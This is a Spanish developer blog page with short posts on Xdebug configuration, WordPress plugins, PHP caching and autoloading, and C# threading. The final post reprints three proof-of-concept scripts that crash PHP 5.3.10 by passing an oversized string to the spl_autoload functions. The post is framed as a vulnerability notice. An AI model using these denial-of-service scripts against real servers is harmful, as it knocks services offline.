Configuración rápida de Xdebug

Para configurar rápidamente Xdebug hay que seguir estos pasos:
Entrar en http://xdebug.org/wizard.php y poner el html generado por la función phpinfo().
Bajarnos la dll que nos dice y ponerla en el directorio indicado.
Modificar el php.ini donde pone [XDebug] poner lo siguiente:

[XDebug]
zend_extension = C:\xampp\php\ext\php_xdebug-2.2.0-5.3-vc9.dll
xdebug.remote_enable=1
xdebug.remote_host="localhost"
xdebug.remote_port=9000
xdebug.remote_handler="dbgp"


Reiniciar el servidor Apache.


'Invalid Character exception' problemas al deserializar XML

La serialización, deserialización de objetos utilizando un archivo xml para almacenarlos o transferirlos es una herramienta muy útil. El problema es que en los archivos xml no están permitidos todos los caracteres. Si somos cuidadosos serializando nos podremos evitar este tipo de problemas. El verdadero problema se presenta cuando estos xml no los generamos nosotros, sino que nos los proporciona una organización externa a nuestra empresa, y no existe la posibilidad o la voluntad, de cambiarlos. En este caso el peor problema es que el xml nos venga con caracteres inválidos, dándonos una excepción de "Invalid Character".

ListView delayed, controlando la sobrecarga de eventos en un VistView

Tenemos el siguiente escenario: Una aplicación con dos ListViews, al dispararse el evento OnSelectedIndexChanged de uno de ellos, el otro se actualiza. Esto provoca que cuando el usuario recorre las distintas entradas, hace una multiselección o en general interactúa con la aplicación, los ListView implicados, van a parpadear de manera bastante molesta, e indicando una sobrecarga de trabajo producida por nuestra aplicación, que, en el peor de los casos, podría llegar a bloquearla, dependiendo de que tipo de actualización se lleve a cabo en el ListView que está enlazado. Si este realizara un acceso a base de datos, podríamos llegar a bloquear al resto de usuarios que estén ejecutando esta aplicación en otras máquinas. Esto se puede evitar de múltiples maneras, y hoy voy a describir una bastante sencilla que he desarrollado.

Desarrollo de plugins para wordpress (II)

En la entrada anterior vimos como dar los primeros pasos en la creación de un plugin para Wordpress. Entre otras cosas, hablamos de cómo podían interactuar los plugins con la plataforma Wordpress.
Haciendo un poco de memoria recordaremos que vimos  los métodos add_filter y add_action, por lo que nos quedarían por ver los template tags y los shortcodes.
¿Cual es la diferencia entre los template tags y los shortcodes? La mayor diferencia es que un shortcode es una marca que ponemos en un post o una página, mientras que un template code es una función que ha de colocarse en el template que estemos utilizando.
¿Cuales debo utilizar?, depende exclusivamente de desde donde tenemos pensado utilizarlos, si los queremos para modificar el template utilizaremos template tags, si lo que queremos es poder utilizarlo desde cualquier sitio y cuando nos venga en gana --Lo cual dicho así parece el mejor método-- utilizaremos shortcodes, que es exactamente lo que vamos  a ver a continuación.


Cacheando con PHP

Precisamente hoy terminaba una aplicación web que conecta a un servicio web pidiéndole una serie de datos sobre apuestas deportivas, sobre esos datos se realiza un tratamiento, que sin ser demasiado pesado, ralentiza algo más de la cuenta la página, si ademas tenemos en cuenta que en caso de que el tráfico sea alto podemos sobrecargar excesivamente el servidor, al final he optado por un modelo de cache bastante sencillo.

Cuando se utiliza PHP como un módulo de Apache se pueden cambiar ciertos ajustes de configuración usando directivas en los ficheros de configuración de Apache, como por ejemplo los ficheros .htaccess
En este caso las directivas que nos interesan son auto_prepend_file y auto_append_file, cito textualmente:

Conocer el origen de las visitas a nuestra página

A la hora de conocer el impacto que está teniendo una web determinada es necesario recurrir a los informes de google analytics. Estos informes son una poderosa herramienta que nos informa de manera exhaustiva de casi todos los parámetros que pueden resultar de cierto interés para el responsable del sitio. A continuación pongo el ejemplo de informe personalizado que utilizo para medir los orígenes del tráfico.

Desarrollo de plugins para wordpress (I)

Worpress es un potente gestor de contenidos con una flexibilidad que le permite hacer casi cualquier cosa. Esa versatilidad se la debe a la capacidad de extender sus funcionalidades básicas mediante un potente sistema de plugins. Es en el desarrollo de estos plugins en lo que nos vamos a centrar de aquí en adelante, ya que conociendo este sistema podremos lograr que nuestro wordpress baje a pasear al perro, o casi.

Como no, como en cualquier tutorial que se precie, vamos a desarrollar nuestro primer plugin mientras vamos explicando los conceptos que nos interesan, los archivos que se vayan creando, estarán disponibles para descarga.

Autoloader único en PHP usando spl_autoload_register

En este artículo vamos a ver como automatizar la carga de las clases o interfaces de nuestra aplicación de manera automática, evitando tener que controlar en cada fichero de la misma los engorrosos includes. Para ello vamos a hacer uso de la función spl_autoload_register. Está función añade la función que indiquemos a la pila de autocarga.

Test de estrés para páginas o servicios web

Hay una herramienta que utilizo desde hace ya bastante tiempo, que resulta de una gran utilidad cuando queremos probar nuestras páginas o servicios web, también es muy útil a la hora de corregir errores de comunicación entre distintas partes de una web, o entre un cliente y un servicio web.

Evitar excepciones "Cross-thread operation not valid"


Evitar las excepciones del tipo: Cross-thread operation not valid es bastante sencillo. Estas se dan al acceder a un control gráfico desde un hilo distinto al hilo propietario del control, osea, el que lo creó.
Para evitar este problema se deben realizar las llamadas del siguiente modo.
[csharp]

        internal void AllowReboot(bool allow)
        {
            if (this.InvokeRequired)
            {
                this.Invoke((MethodInvoker)delegate
                {
                    AllowReboot(allow);
                });
                return;
            }
            cmdStart.Visible = allow;
        }

[/csharp]

Denegación de servicio en PHP 5.3.10


Se han descubierto tres nuevas vulnerabilidades que provocan denegación de servicio en PHP 5.3.10. Estas se dan a nivel local al llamar a a las funciones spl_autoload_call() , spl_autoload_register() o spl_autoload() con un parámetro de longitud igual o superior a 9999 caracteres.

spl_autoload_call()

[php]
<?php
#####################################################################
## PHP 5.3.10 spl_autoload_call() Local Denial of Service
## Tested on Windows 7 64bit, English, Apache, PHP 5.3.10
## Date: 02/06/2012
## Local Denial of Service
## Bug discovered by Pr0T3cT10n, <pr0t3ct10n@gmail.com>
## ISRAEL
## http://www.0x31337.net
#####################################################################

$buffer = str_repeat("A",9999);
spl_autoload_call($buffer);
?>
[/php]

spl_autoload_register()

[php]
<?php
#####################################################################
## PHP 5.3.10 spl_autoload_register() Local Denial of Service
## Tested on Windows 7 64bit, English, Apache, PHP 5.3.10
## Date: 02/06/2012
## Local Denial of Service
## Bug discovered by Pr0T3cT10n, <pr0t3ct10n@gmail.com>
## ISRAEL
## http://www.0x31337.net
#####################################################################

$buffer = str_repeat("A",9999);
spl_autoload_register($buffer);

## Or..
# spl_autoload_register($buffer,1,1); #Should work too.
?>
[/php]

spl_autoload()

[php]
<?php
#####################################################################
## PHP 5.3.10 spl_autoload() Local Denial of Service
## Tested on Windows 7 64bit, English, Apache, PHP 5.3.10
## Date: 02/06/2012
## Local Denial of Service
## Bug discovered by Pr0T3cT10n, <pr0t3ct10n@gmail.com>
## ISRAEL
## http://www.0x31337.net
#####################################################################

$buff = str_repeat("A",9999);
spl_autoload($buff);
?>
[/php]
Vía http://packetstormsecurity.org